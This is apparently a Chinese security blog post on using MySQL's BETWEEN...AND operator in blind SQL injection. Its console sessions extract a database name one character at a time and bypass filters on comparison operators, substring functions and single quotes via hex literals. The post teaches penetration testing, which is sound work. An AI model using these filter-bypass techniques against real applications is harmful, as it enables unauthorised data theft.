between and 利用
Sep 4, 2018 09:54 · 631 words · 3 minute read
.
安全客链接 https://www.anquanke.com/post/id/158674
between and操作符操作符 BETWEEN … AND 会选取介于两个值之间的数据范围。这些值可以是数值、文本或者日期。
between and有数据比较功能exp1 between min and max 如果exp1的结果处于min和max之间,`between and`就返回`1`,反之返回`0`.
示例
mysql> select * from user;
+----+----------+----------------------------------+-------------------+
| id | username | password | email |
+----+----------+----------------------------------+-------------------+
| 1 | a | 0cc175b9c0f1b6a831c399e269772661 | 456456664@qq.com |
| 2 | aa | 4124bc0a9335c27f086f24ba207a4912 | 456456664@qq.com |
| 3 | admin | 26fff50e6f9c6ca38e181c65c1531eca | 456456664@qq.com |
| 4 | add | 0cc175b9c0f1b6a831c399e269772661 | 456456664@qq.com |
+----+----------+----------------------------------+-------------------+
mysql> select * from user where id between 1 and 2;
+----+----------+----------------------------------+-------------------+
| id | username | password | email |
+----+----------+----------------------------------+-------------------+
| 1 | a | 0cc175b9c0f1b6a831c399e269772661 | 456456664@qq.com |
| 2 | aa | 4124bc0a9335c27f086f24ba207a4912 | 456456664@qq.com |
+----+----------+----------------------------------+-------------------+
大多数数据库都支持between and操作,但是对于边界的处理有所不同,在mysql中,between and 是包含边界的,在数学中也就是[min,max]
在盲注中应用
between and可以用来在过滤了=,like, regexp,>,<的情况下使用.
mysql> select database();
+------------+
| database() |
+------------+
| test |
+------------+
1 row in set (0.00 sec)
1. 配合截取函数使用
mysql> select mid(database(),1,1) between 'a' and 'a' ;
+-----------------------------------------+
| mid(database(),1,1) between 'a' and 'a' |
+-----------------------------------------+
| 0 |
+-----------------------------------------+
1 row in set (0.00 sec)
mysql> select mid(database(),1,1) between 't' and 't' ;
+-----------------------------------------+
| mid(database(),1,1) between 't' and 't' |
+-----------------------------------------+
| 1 |
+-----------------------------------------+
1 row in set (0.00 sec)
2. 截取函数被过滤
表达式
select exp between min and max
在截取字符函数被过滤的时候,设置min和 max的方式有所改变.
测试1
mysql> select 'b' between 'a' and 'c';
+-------------------------+
| 'b' between 'a' and 'c' |
+-------------------------+
| 1 |
+-------------------------+
1 row in set (0.00 sec)
mysql> select 'b' between 'a' and 'b';
+-------------------------+
| 'b' between 'a' and 'b' |
+-------------------------+
| 1 |
+-------------------------+
1 row in set (0.00 sec)
mysql> select 'b' between 'b' and 'c';
+-------------------------+
| 'b' between 'b' and 'c' |
+-------------------------+
| 1 |
+-------------------------+
1 row in set (0.00 sec)
测试2
mysql> select 'bcd' between 'a' and 'c';
+---------------------------+
| 'bcd' between 'a' and 'c' |
+---------------------------+
| 1 |
+---------------------------+
1 row in set (0.00 sec)
mysql> select 'bcd' between 'a' and 'b';
+---------------------------+
| 'bcd' between 'a' and 'b' |
+---------------------------+
| 0 |
+---------------------------+
1 row in set (0.00 sec)
mysql> select 'bcd' between 'b' and 'c';
+---------------------------+
| 'bcd' between 'b' and 'c' |
+---------------------------+
| 1 |
+---------------------------+
1 row in set (0.00 sec)
由测试可知,当exp为单个字符时三种区间返回值都是1,但是当exp为字符串时,当区间为a-b时,返回值为0.区间为a-c或者b-c时,返回值为1.
也就是在进行字符串比较时,只会包含一边的值,也就是[b,c).
所以在实际利用时,就要注意区间的范围.
实际测试
mysql> select database() between 'a' and 'z';
+--------------------------------+
| database() between 'a' and 'z' |
+--------------------------------+
| 1 |
+--------------------------------+
1 row in set (0.05 sec)
...
mysql> select database() between 't' and 'z';
+--------------------------------+
| database() between 't' and 'z' |
+--------------------------------+
| 1 |
+--------------------------------+
1 row in set (0.00 sec)
mysql> select database() between 'u' and 'z';
+--------------------------------+
| database() between 'u' and 'z' |
+--------------------------------+
| 0 |
+--------------------------------+
1 row in set (0.00 sec)
由结果可知,第一个字符为t
第二个字符
mysql> select database() between 'ta' and 'tz'
+----------------------------------+
| database() between 'ta' and 'tz' |
+----------------------------------+
| 1 |
+----------------------------------+
1 row in set (0.00 sec)
mysql> select database() between 'te' and 'tz';
+----------------------------------+
| database() between 'te' and 'tz' |
+----------------------------------+
| 1 |
+----------------------------------+
1 row in set (0.00 sec)
mysql> select database() between 'tf' and 'tz';
+----------------------------------+
| database() between 'tf' and 'tz' |
+----------------------------------+
| 0 |
+----------------------------------+
1 row in set (0.00 sec)
剩下的以此类推.最终为test.
3. 单引号被过滤
between and还支持16进制,所以可以用16进制,来绕过单引号的过滤.
测试
mysql> select database() between 0x61 and 0x7a; //select database() between 'a' and 'z';
+----------------------------------+
| database() between 0x61 and 0x7a |
+----------------------------------+
| 1 |
+----------------------------------+
1 row in set (0.00 sec)
mysql> select database() between 0x74 and 0x7a; //select database() between 't' and 'z';
+----------------------------------+
| database() between 0x74 and 0x7a |
+----------------------------------+
| 1 |
+----------------------------------+
1 row in set (0.00 sec)
mysql> select database() between 0x75 and 0x7a; //select database() between 'u' and 'z';
+----------------------------------+
| database() between 0x75 and 0x7a |
+----------------------------------+
| 0 |
+----------------------------------+
1 row in set (0.00 sec)